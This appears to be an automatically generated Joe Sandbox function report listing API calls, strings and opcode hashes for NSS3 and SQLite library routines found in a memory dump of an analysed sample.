Opcode ID: 064b630c60351b128845b396fa6dfb83eccb1e292334eb47ce3679e65198d9c0
Instruction ID: 30fc7ca6a30cc6fc426a9d6f4b36f7c885fa378c15d982a782665c1ffa0537a7
Opcode Fuzzy Hash: 064b630c60351b128845b396fa6dfb83eccb1e292334eb47ce3679e65198d9c0
Instruction Fuzzy Hash: 58114C7AE14505ABDB012B34EC45AAA7A78EB0229CB754134EC1893712F723DA79C7E1

Function 6CE59C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE711C0: PR_NewLock.NSS3 ref: 6CE71216

free.MOZGLUE(?), ref: 6CE59E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE59E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE59E4E
TlsGetValue.KERNEL32 ref: 6CE59EA2

Part of subcall function 6CE69500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CE69546

EnterCriticalSection.KERNEL32(?), ref: 6CE59EB6
PR_Unlock.NSS3 ref: 6CE59ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE59F18

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f75ed0323c21a05d84b24122d8285899e9b2bdf9264a2df3ea8fcc41d9af8dcb
Instruction ID: aad12b15ca22efa1d8e364ea7ba76c9b5af83d17c0e4b9e36289f9608feb22df
Opcode Fuzzy Hash: f75ed0323c21a05d84b24122d8285899e9b2bdf9264a2df3ea8fcc41d9af8dcb
Instruction Fuzzy Hash: 4281D3B1A00601ABEB109F35DC41BEBB7B5BF4524CF64452DE85987B41FB32E826C7A1

Function 6CE6DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE71397,5B5F5EC0,?,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB3C
Part of subcall function 6CE6AB10: free.MOZGLUE(D958E836,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB49
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(5D5E6D06), ref: 6CE6AB5C
Part of subcall function 6CE6AB10: free.MOZGLUE(5D5E6CFA), ref: 6CE6AB63
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE6AB6F
Part of subcall function 6CE6AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE6AB76

TlsGetValue.KERNEL32 ref: 6CE6DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CE6DD0E
PK11_IsFriendly.NSS3(?), ref: 6CE6DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CE6DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6DEA6
PR_Unlock.NSS3(?), ref: 6CE6DF08

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 9e28a61c7a1b494b4998551c1cb2d41e04b3f1ee92d47c9b21031c3e0d1af64d
Instruction ID: a8a2b0ed0ba745f01a5b96acbda3eea9c2e4c3a45dfda5a6b95d14229d353e63
Opcode Fuzzy Hash: 9e28a61c7a1b494b4998551c1cb2d41e04b3f1ee92d47c9b21031c3e0d1af64d
Instruction Fuzzy Hash: AC9103B9E501059FDB00CF6AD881BAAB7B1AF4530CF758129DC189BF41E731EA15CBA1

Function 6CE25FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CF0BB62,00000004,6CF74CA4,?,?,00000000,?,?,6CDE31DB), ref: 6CE260AB
sqlite3_config.NSS3(00000004,6CF74CA4,6CF0BB62,00000004,6CF74CA4,?,?,00000000,?,?,6CDE31DB), ref: 6CE260EB
sqlite3_config.NSS3(00000012,6CF74CC4,?,?,6CF0BB62,00000004,6CF74CA4,?,?,00000000,?,?,6CDE31DB), ref: 6CE26122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE26095
misuse, xrefs: 6CE2609F
%s at line %d of [%.10s], xrefs: 6CE260A4

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 1b7fbd0126e8ecdd5d8a07d85531575d543d2ca6d97acdc029ce8b71bb731ff7
Instruction ID: 17f4e3dc6255063f05a9ea6beb058e2d7532376160cb79f244d0b7da23f9e3ee
Opcode Fuzzy Hash: 1b7fbd0126e8ecdd5d8a07d85531575d543d2ca6d97acdc029ce8b71bb731ff7
Instruction Fuzzy Hash: C2B18274E1464ACFDB05CF9DD250AA9FBF0FF1E304B118259D509AB322E730AA94CB95

Function 6CDD4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDD4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDD51BB

Strings

misuse, xrefs: 6CDD51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDD51A5
%s at line %d of [%.10s], xrefs: 6CDD51B4
unable to delete/modify user-function due to active statements, xrefs: 6CDD51DF

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 051f4b23e41436758201dfa956dccbfe5f4113e26b1ac78aefccee2f7a77c566
Instruction ID: 9d7b08f244f355ff6e7dfb6aaafa2f5db11f1bc9e811ba6fa72bcdff4c9ba0c8
Opcode Fuzzy Hash: 051f4b23e41436758201dfa956dccbfe5f4113e26b1ac78aefccee2f7a77c566
Instruction Fuzzy Hash: 9371AFB1A0420ADBDB00CF25CC80BAA77B5FF49308F1A4525ED199BA61E731E955CBA1

Function 6CE42D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE42D69

Strings

winTruncate1, xrefs: 6CE42EBE
winUnmapfile2, xrefs: 6CE42F7F
winTruncate2, xrefs: 6CE42EF8
winUnmapfile1, xrefs: 6CE42F55
winSeekFile, xrefs: 6CE42E9C

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 91565f69b397882a1eb095099d2d5eb9c61f811b1b0908be7479db126ed22694
Instruction ID: a05318416a7f8ca9858ad4ecd625ce7cfcba5e1b9dda3256595c707570714b3d
Opcode Fuzzy Hash: 91565f69b397882a1eb095099d2d5eb9c61f811b1b0908be7479db126ed22694
Instruction Fuzzy Hash: 8B619071A002059FDB44CFA8EC94B6A7BB1FF49354F20852CE915EB790DB31AD06CB91

Function 6CEBFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEBFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CEBF165,6CF8219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEBFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CEBF165,?), ref: 6CEC00A6

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 2a8c9feb73ec43dc40fd6a997ae80efb380906f527c8754bba936db7cf83bd46
Instruction ID: 560f6b8d7abd1b5587c4f119d9ca48e80ada0845acb658048b7493d7f665a8be
Opcode Fuzzy Hash: 2a8c9feb73ec43dc40fd6a997ae80efb380906f527c8754bba936db7cf83bd46
Instruction Fuzzy Hash: 2C5103B5F042559BDB108E99C9917AEB7B5BB49318F360628DC65A7B40D332AC00CBD2

Function 6CE7DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE7DF37
EnterCriticalSection.KERNEL32(?), ref: 6CE7DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CE7E02B
PR_Unlock.NSS3(?), ref: 6CE7E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE7E090
PR_Unlock.NSS3(?), ref: 6CE7E0AF

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 2fd7daf6a4b6913b188f88d8559c3f6b5782d0b95865a5187c56370535a9b387
Instruction ID: 38aeb86ca57ae36e2fa05fa676489ccebf4617f267ada5c31b2a3df8d5ca72b2
Opcode Fuzzy Hash: 2fd7daf6a4b6913b188f88d8559c3f6b5782d0b95865a5187c56370535a9b387
Instruction Fuzzy Hash: D451AF35A00A00DFEB309F24D849BAA73B5FF45318F304529E86687B91D735E959CBE2

Function 6CE7BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE7BD1E

Part of subcall function 6CE52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE52F0A
Part of subcall function 6CE52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE52F1D

Part of subcall function 6CE957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE5B41E,00000000,00000000,?,00000000,?,6CE5B41E,00000000,00000000,00000001,?), ref: 6CE957E0
Part of subcall function 6CE957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE95843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE7BD8C

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CE7BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE7BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7BE3A

Part of subcall function 6CE53E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE53EC2
Part of subcall function 6CE53E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE53ED6
Part of subcall function 6CE53E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE53EEE
Part of subcall function 6CE53E60: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE53F02
Part of subcall function 6CE53E60: PL_FreeArenaPool.NSS3 ref: 6CE53F14
Part of subcall function 6CE53E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE53F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7BE52

Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE52CDA,?,00000000), ref: 6CE52E1E
Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE52E33
Part of subcall function 6CE52E00: TlsGetValue.KERNEL32 ref: 6CE52E4E
Part of subcall function 6CE52E00: EnterCriticalSection.KERNEL32(?), ref: 6CE52E5E
Part of subcall function 6CE52E00: PL_HashTableLookup.NSS3(?), ref: 6CE52E71
Part of subcall function 6CE52E00: PL_HashTableRemove.NSS3(?), ref: 6CE52E84
Part of subcall function 6CE52E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE52E96
Part of subcall function 6CE52E00: PR_Unlock.NSS3 ref: 6CE52EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7BE61

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 7a879fa5de97c190135246c8b119bbc018a690dc50d9bd6015d3afc8e78888f3
Instruction ID: 1630effe1d1b10ebebcf275524818f3886b58cabce789e8ceba00aebd3d45dcf
Opcode Fuzzy Hash: 7a879fa5de97c190135246c8b119bbc018a690dc50d9bd6015d3afc8e78888f3
Instruction Fuzzy Hash: 1E41C1B5E00210AFC720DF28DC80B6A77F4EB4571CF218568F9499B711E731E915CBA2

Function 6CE9AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CE9AB3E,?,?,?), ref: 6CE9AC35

Part of subcall function 6CE7CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE7CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE9AB3E,?,?,?), ref: 6CE9AC55

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CE9AB3E,?,?), ref: 6CE9AC70

Part of subcall function 6CE7E300: TlsGetValue.KERNEL32 ref: 6CE7E33C
Part of subcall function 6CE7E300: EnterCriticalSection.KERNEL32(?), ref: 6CE7E350
Part of subcall function 6CE7E300: PR_Unlock.NSS3(?), ref: 6CE7E5BC
Part of subcall function 6CE7E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CE7E5CA
Part of subcall function 6CE7E300: TlsGetValue.KERNEL32 ref: 6CE7E5F2
Part of subcall function 6CE7E300: EnterCriticalSection.KERNEL32(?), ref: 6CE7E606
Part of subcall function 6CE7E300: PORT_Alloc_Util.NSS3(?), ref: 6CE7E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CE9AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE9AB3E), ref: 6CE9ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CE9AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CE9AD2B

Part of subcall function 6CE7F360: TlsGetValue.KERNEL32(00000000,?,6CE9A904,?), ref: 6CE7F38B
Part of subcall function 6CE7F360: EnterCriticalSection.KERNEL32(?,?,?,6CE9A904,?), ref: 6CE7F3A0
Part of subcall function 6CE7F360: PR_Unlock.NSS3(?,?,?,?,6CE9A904,?), ref: 6CE7F3D3

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 100671c27c248ddabe4638ff9cbeaca95fc6b076fb4f7cc4516e678a05b64123
Instruction ID: 4bd7a550190d00108bb91739a9d3d666e2ea0fcdcafc9b1ef1036918c683c726
Opcode Fuzzy Hash: 100671c27c248ddabe4638ff9cbeaca95fc6b076fb4f7cc4516e678a05b64123
Instruction Fuzzy Hash: 7E3117B1E406155FEB008F699C409AF77B6EF8472CB29852CE815ABB40EB31ED15C7A1

Function 6CE78C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE78C7C

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE78CB0
TlsGetValue.KERNEL32 ref: 6CE78CD1
EnterCriticalSection.KERNEL32(?), ref: 6CE78CE5
PR_Unlock.NSS3(?), ref: 6CE78D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CE78D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE78D93

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 72987c413f63c7ef8f891e31d281c984c32fdaef80ba4ec6082f7f5743d159d1
Instruction ID: 6a60f76db9f8444c71b06d7872623f99dbec10ff8c546e397978d9ea7a2b147a
Opcode Fuzzy Hash: 72987c413f63c7ef8f891e31d281c984c32fdaef80ba4ec6082f7f5743d159d1
Instruction Fuzzy Hash: 78312371E00205ABEB209F68DD447AAB7B8FF25318F34013AEA1967B50D771A925C7E1

Function 6CEB9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEB9C5B), ref: 6CEB9D82

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEB9C5B), ref: 6CEB9DA9

Part of subcall function 6CEB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB136A
Part of subcall function 6CEB1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB137E
Part of subcall function 6CEB1340: PL_ArenaGrow.NSS3(?,6CE4F599,?,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?), ref: 6CEB13CF
Part of subcall function 6CEB1340: PR_Unlock.NSS3(?,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEB9C5B), ref: 6CEB9DCE

Part of subcall function 6CEB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB13F0
Part of subcall function 6CEB1340: PL_ArenaGrow.NSS3(?,6CE4F599,?,?,?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CEB1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEB9C5B), ref: 6CEB9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CEB9C5B), ref: 6CEB9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEB9C5B), ref: 6CEB9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CEB9C5B), ref: 6CEB9E91

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

